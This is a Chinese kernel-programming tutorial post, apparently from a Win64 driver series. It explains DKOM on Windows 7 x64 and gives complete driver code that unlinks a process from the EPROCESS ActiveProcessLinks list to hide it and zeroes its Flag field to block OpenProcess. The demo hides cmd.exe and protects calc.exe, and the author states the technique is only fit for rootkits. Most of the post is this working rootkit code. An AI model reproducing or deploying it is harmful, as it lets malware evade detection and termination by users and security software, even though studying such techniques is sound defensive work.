zoukankan      html  css  js  c++  java
  • Win64 驱动内核编程-21.DKOM隐藏和保护进程

    DKOM隐藏和保护进程

    主要就是操作链表,以及修改节点内容。

    DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体,不同的系统用的时候注意查下相关定义,确定下偏移,下面的数据是以win7 64为例。

    关 注 两 个 成 员 : ActiveProcessLinks 和 Flag 

    ActiveProcessLinks 把各个EPROCESS 结构体连接成“双向链表”,ZwQuerySystemInformation枚举进程时就是枚举这条链表,如果将某个 EPROCESS 从中摘除,ZwQuerySystemInformation就无法枚举到被摘链的进程了,而依靠此函数的一堆 RING3 的枚举进程函数也失效了;而把Flag 置 后,OpenProcess 函数就会返回失败。不过需要注意的是,用 用 DKOM  来保护进程会有很大的隐患,比如用 调用 CreateProcess  会 失败,而且 进程 退出 但 不取消保护的话,有一定机率导致蓝屏。一句话,DKOM  保护进程 和 隐藏进程 只适用于 ROOTKIT ,而不适用于正规软件。实现隐藏进程和保护进程的代码如下:

    NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
    NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
     
    //目标进程
    PEPROCESS audiodg=NULL, dwm=NULL;
    ULONG op_dat;
     
    //偏移定义
    #define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET	0x188
    #define PROCESS_FLAG_OFFSET	0x440
     
    //获得EPROCESS
    PEPROCESS GetProcessObjectByName(char *name)
    {
    SIZE_T i;
    for(i=100;i<20000;i+=4)
    {
    NTSTATUS st;
    PEPROCESS ep;
    st=PsLookupProcessByProcessId((HANDLE)i,&ep);
    if(NT_SUCCESS(st))
    {
    char *pn=PsGetProcessImageFileName(ep);
    if(_stricmp(pn,name)==0)
    return ep;
    }
    }
    return NULL;
    }
     
    //摘除双向链表的指定项
    VOID RemoveListEntry(PLIST_ENTRY ListEntry)
    {
    KIRQL OldIrql;
    OldIrql = KeRaiseIrqlToDpcLevel();
    if (ListEntry->Flink != ListEntry &&
    ListEntry->Blink != ListEntry &&
    ListEntry->Blink->Flink == ListEntry &&
    ListEntry->Flink->Blink == ListEntry) 
    {
    ListEntry->Flink->Blink = ListEntry->Blink;
    ListEntry->Blink->Flink = ListEntry->Flink;
    ListEntry->Flink = ListEntry;
    ListEntry->Blink = ListEntry;
    }
    KeLowerIrql(OldIrql);
    }
    //隐藏进程
    VOID HideProcess(PEPROCESS Process)
    {
    RemoveListEntry((PLIST_ENTRY)((ULONG64)Process+PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
    }
     
    //保护进程
    ULONG ProtectProcess(PEPROCESS Process, BOOLEAN bIsProtect, ULONG v)
    {
    ULONG op;
    if(bIsProtect)
    {
    op=*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET);
    *(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=0;
    return op;
    }
    else
    {
    *(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=v;
    return 0;
    }
    }
     
    VOID test()
    {
    audiodg=GetProcessObjectByName("calc.exe");DbgPrint("calc: %p
    ",audiodg);
    if(audiodg)
    {
    op_dat=ProtectProcess(audiodg,1,0);
    ObDereferenceObject(audiodg);
    }
    dwm=GetProcessObjectByName("cmd.exe");DbgPrint("cmd: %p
    ",dwm);
    if(dwm)
    {
    HideProcess(dwm);
    ObDereferenceObject(dwm);
    }
    }


    执行结果:计算器结束不了,cmd.exe没有进程


    但是cmd有这个:

     

  • 相关阅读:
    搜索框用定时器限制发送请求
    vue的生命周期,钩子函数
    事件委托的实现流程
    在vscode中快速生成vue模板
    JS继承
    各种宽高
    ES6新特性
    python入门学习一
    字符编码
    npm install --save 与 npm install --save-dev 的区别
  • 原文地址:https://www.cnblogs.com/csnd/p/12062003.html
Copyright © 2011-2022 走看看